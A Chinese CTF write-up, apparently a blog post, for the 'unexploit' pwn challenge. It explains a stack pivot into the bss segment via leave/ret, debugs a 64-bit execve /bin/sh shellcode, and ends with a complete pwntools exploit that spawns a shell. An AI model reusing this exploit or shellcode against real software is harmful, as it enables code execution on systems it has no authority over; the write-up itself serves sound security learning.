安恒杯 7月赛PWN-unexploit 经验总结

通过这题发现自己的有很多知识点短板
解题思路:
在这里插入图片描述
read函数读取的缓冲区在 rbp-buf 也就是rbp - 0x8 处,那么控制了rbp的值指向我们可以写的区域(比如bss段)就可以在那个区域植入shellcode,再控制ret跳转到shellcode的地址就可以getshell了
具体做法:
把栈段切换到bss段,也就是让bss成为栈段
开始进行溢出的时先把rbp的值覆盖为 bss_addr - 0x8, 然后执行
leave(mov rsp, rbp pop rbp)
ret

时leave指令会把rbp的值 覆盖为 bss_addr - 0x8, rsp保持原样,随后再次ret到 lea rax, [rbp+buf] 处,继续调用read函数

第二次调用read函数时,缓冲区为rbp - 0x8 也就是 bss_addr - 0x10 处,构造bss段的数据前先看看后面的leave 指令会把rsp, rbp改变为何值
rbp = bss_addr - 0x8
leave -> rsp = rbp

也就是rsp 会指向bss_addr - 0x8 , 再经过 pop rbp, rsp 就指向 bss_addr了,也就是ret 的地址再 bss_addr 处, 再经过retrsp的值为bss_addr + 0x8
至于rbp的值由我们控制

payload构造想法:
bss_addr - 0x8 的数据构造成 bss_addr + 0x8 ,这样下次调用read函数时缓冲区从bss_addr 开始,之后再是lea rax, [rbp+buf] 处的地址
所以**payload2 = 'a’0x8 + p64(bss_addr + 0x8) + p64(read) + 'a’0x8

第三次调用read函数,接下来考虑shellcode的放置地址
缓冲区开始抵制在bss_addr 处,由于后面call read的时候会把下一条指令的地址入栈,所以在调用read函数的过程中rsp的值会变成bss_addr ,指向read函数ret的地址,所以把这个地址覆盖成shellcode 的返回地址就可以成功执行shellcode从而getshell
payload3 = p64(bss_addr + 8) + shellcode

以下为写Exp过程碰到的问题:

**1.**题目中的read(0, &buf, 0x20);
图1:
在这里插入图片描述
上图是看了被人wp 知道了思路后自己写的Exp,红色箭头处是发生读取错误的地方,
图2:
在这里插入图片描述
本意是想把数据送入 bss-0x10 处,数据分布本应该是:
图3:
在这里插入图片描述
然而却发生了图2 那样的错误,然后我就不断调试,看了很久才终于发现了错误,既然read函数读取32 个字节那么它就会读取32个字节, 把图1中第一处箭头 看作是上一次read函数读取的数据的话,那么第一次调用read函数读取的字节就是32字节,然后第二次read函数 读取数据是从 p64(bss - 0x8) 开始读取,由于不够32个字节,所以只读取了
p64(bss - 0x8)
p64(read)

的数据,只有16个字节,再读取后面payload中的16个字节就出现了图2的现象…
把每一次payload 都构造成32 字节的数据的话就会出现图3 的正确结果

**2.**64位shellcode
我试过好几个64位shellcode,在动态调试的时候不知为何在执行push rsp指令的时候总是会抛出SIGSEGV错误,黑人问号(???
在这里插入图片描述
在这里插入图片描述
不得已去寻找其他shellcode,找到了下面的shellcode
汇编源码:
链接

	xor 	rsi,	rsi			
	push	rsi				
	mov 	rdi,	0x68732f2f6e69622f	 
	push	rdi
	push	rsp		
	pop	rdi				
	mov 	al,	59			
	cdq					
	syscall

但是有 push rsp 指令,所以我改动了一下:

section .text
        global _start
_start:
        xor rsi, rsi
        push rsi
        mov rdi, 0x68732f2f6e69622f
        push rdi
        mov rdi, rsp
        mov al, 59
        cdq
        syscall

之后再提取的机器码为:
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
拿到机器码后兴冲冲再去测试一下,然后又出现了EOF错误,然后再去调试…
在这里插入图片描述
看到没有push rdi 指令,黑人问号(???
然后仔细检查,发现push rdi 指令的机器码(57)混入了**/bin/sh的机器码中,然后再检查/bin//sh的机器码,发现少了条’/’, 也就是少了个2f**,
在这里插入图片描述
就出现了上图箭头处的情况,黑人问号(???,然后我尝试手动加上那个被吞入异次元的2f,shellcode变为
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
最后终于getshell,我哭了…

在这里插入图片描述

最终Exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
p = process("./unexploit")
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(proc.pidof(p)[0], gdbscript="b *0x400678")

elf = ELF("./unexploit")

bss = elf.bss() + 0x800
read = 0x40068A

payload = 'a'*0x8
payload += p64(bss - 0x8)
payload += p64(read)
payload += 'a'*0x8
p.send(payload)

payload = 'a'*0x8
payload += p64(bss + 0x8)
payload += p64(read)
payload += 'a'*0x8
p.send(payload)

payload = p64(bss + 0x8)
payload += "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
p.send(payload)

p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值